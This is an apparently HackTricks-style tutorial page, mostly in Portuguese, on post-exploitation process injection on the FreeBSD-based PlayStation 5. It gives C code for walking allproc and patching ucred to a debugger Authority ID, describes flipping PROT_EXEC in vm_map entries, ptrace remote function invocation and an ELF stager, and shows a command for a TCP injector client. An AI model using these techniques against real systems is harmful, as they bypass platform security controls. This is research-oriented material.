9.4 KiB
FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
{{#include ../banners/hacktricks-training.md}}
Visão geral
Esta página documenta uma técnica prática de injeção de processo em usermode/ELF no PlayStation 5 (PS5), que é baseado em FreeBSD. O método se generaliza para derivados do FreeBSD quando você já possui primitivas de leitura/escrita do kernel (R/W). Em alto nível:
- Aplicar patch às credenciais do processo atual (ucred) para conceder autoridade de debugger, habilitando ptrace/mdbg em processos de usuário arbitrários.
- Encontrar processos alvo percorrendo a lista kernel allproc.
- Bypassar restrições PROT_EXEC definindo vm_map_entry.protection |= PROT_EXEC no vm_map do alvo através de escritas em memória do kernel.
- Usar ptrace para realizar Remote Function Invocation (RFI): suspender uma thread, ajustar registradores para chamar funções arbitrárias dentro do alvo, retomar, coletar valores de retorno e restaurar o estado.
- Mapear e executar payloads ELF arbitrários dentro do alvo usando um ELF loader in-process, então criar uma thread dedicada que execute seu payload e dispare um breakpoint para desanexar limpo.
Mitigações do hypervisor do PS5 a notar (contextualizadas para esta técnica):
- XOM (execute-only .text) impede leitura/escrita de .text do kernel.
- Limpar CR0.WP ou desabilitar CR4.SMEP causa um vmexit do hypervisor (crash). Apenas escritas no kernel que alterem dados são viáveis.
- mmap em userland é restrito a PROT_READ|PROT_WRITE por padrão. Conceder PROT_EXEC deve ser feito editando vm_map entries na memória do kernel.
Esta técnica é pós-exploração: assume primitivas de R/W do kernel fornecidas por uma cadeia de exploração. Payloads públicos demonstram isso até firmware 10.01 na data de escrita.
Primitivas do kernel somente de dados
Descoberta de processos via allproc
FreeBSD mantém uma lista duplamente ligada de processos na .data do kernel em allproc. Com uma primitiva de leitura do kernel, itere-a para localizar nomes de processos e PIDs:
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
Notas:
- KERNEL_ADDRESS_ALLPROC depende do firmware.
- p_comm é um nome de tamanho fixo; considere pid->proc lookups se necessário.
Elevar credenciais para depuração (ucred)
No PS5, struct ucred inclui um campo Authority ID acessível via proc->p_ucred. Escrever o Authority ID do debugger concede ptrace/mdbg sobre outros processos:
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
- Offset 0x58 é específico da família de firmware do PS5 e deve ser verificado por versão.
- Após essa escrita, o injector pode anexar e instrumentar processos de usuário via ptrace/mdbg.
Contornando mapeamentos de usuário somente RW: vm_map PROT_EXEC flip
O mmap em espaço de usuário pode estar limitado a PROT_READ|PROT_WRITE. O FreeBSD rastreia o espaço de endereçamento de um processo em um vm_map de nós vm_map_entry (BST mais lista). Cada entrada carrega os campos protection e max_protection:
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
Com kernel R/W você pode localizar o vm_map do alvo e definir entry->protection |= PROT_EXEC (e, se necessário, entry->max_protection). Notas práticas de implementação:
- Percorra as entries linearmente via next ou usando a balanced-tree (left/right) para busca O(log n) por intervalo de endereços.
- Escolha uma região RW conhecida que você controle (scratch buffer ou mapped file) e adicione PROT_EXEC para poder stage code ou loader thunks.
- O código do PS5 SDK fornece helpers para lookup rápido de map-entry e alternância de protections.
Isso contorna a política de mmap do userland editando diretamente metadata pertencente ao kernel.
Remote Function Invocation (RFI) with ptrace
FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Em vez disso, faça com que o alvo chame funções em si mesmo sob controle do ptrace:
- Anexe-se ao alvo e selecione uma thread; PTRACE_ATTACH ou fluxos mdbg específicos do PS5 podem se aplicar.
- Salve o contexto da thread: registers, PC, SP, flags.
- Escreva os argument registers conforme o ABI (x86_64 SysV ou arm64 AAPCS64), defina o PC para a função alvo e, opcionalmente, coloque args/stack adicionais conforme necessário.
- Execute passo a passo (single-step) ou continue até uma parada controlada (por exemplo, software breakpoint ou signal), então leia os valores de retorno de regs.
- Restaure o contexto original e continue.
Casos de uso:
- Chamar um ELF loader em processo (por exemplo, elfldr_load) com um ponteiro para sua imagem ELF na memória do alvo.
- Invocar rotinas helper para recuperar entrypoints retornados e ponteiros de payload-args.
Example of driving the ELF loader:
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
The loader maps segments, resolves imports, applies relocations and returns the entry (often a CRT bootstrap) plus an opaque payload_args pointer that your stager passes to the payload’s main().
Stager baseado em thread e detach limpo
Um stager mínimo dentro do target cria uma nova pthread que executa o main do ELF e depois aciona int3 para sinalizar ao injector que faça o detach:
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
- Os ponteiros SCEFunctions/payload_args são fornecidos pelo loader/SDK glue.
- Após o breakpoint e detach, o payload continua em sua própria thread.
Pipeline ponta a ponta (implementação de referência PS5)
A implementação funcional é distribuída como um pequeno servidor injetor TCP mais um script cliente:
- O servidor NineS escuta em TCP 9033 e recebe um cabeçalho contendo o nome do processo alvo seguido da imagem ELF:
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
- Uso do cliente Python:
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
Exemplo de payload Hello-world (logs to klog):
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
Considerações práticas
- Offsets e constantes (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) são específicos do firmware e devem ser atualizados por release.
- As proteções do hypervisor forçam escritas no kernel apenas de dados; não tente patchar CR0.WP ou CR4.SMEP.
- Memória JIT é uma alternativa: alguns processos expõem PS5 JIT APIs para alocar páginas executáveis. A inversão da proteção vm_map remove a necessidade de depender de truques de JIT/mirroring.
- Mantenha o salvamento/restauração de registradores robusto; em caso de falha, você pode travar (deadlock) ou crashar o alvo.
Ferramentas públicas
- PS5 SDK (ligação dinâmica, wrappers R/W do kernel, helpers de vm_map): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Servidor de injeção: https://github.com/buzzer-re/NineS/
- Utilitários / helpers de vm_map: https://github.com/buzzer-re/playstation_research_utils
- Projetos relacionados: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
Referências
- Usermode ELF injection on the PlayStation 5
- ps5-payload-dev/sdk
- ps5-payload-dev/elfldr
- buzzer-re/NineS
- playstation_research_utils
- Mira
- gdbsrv
- FreeBSD klog reference
{{#include ../banners/hacktricks-training.md}}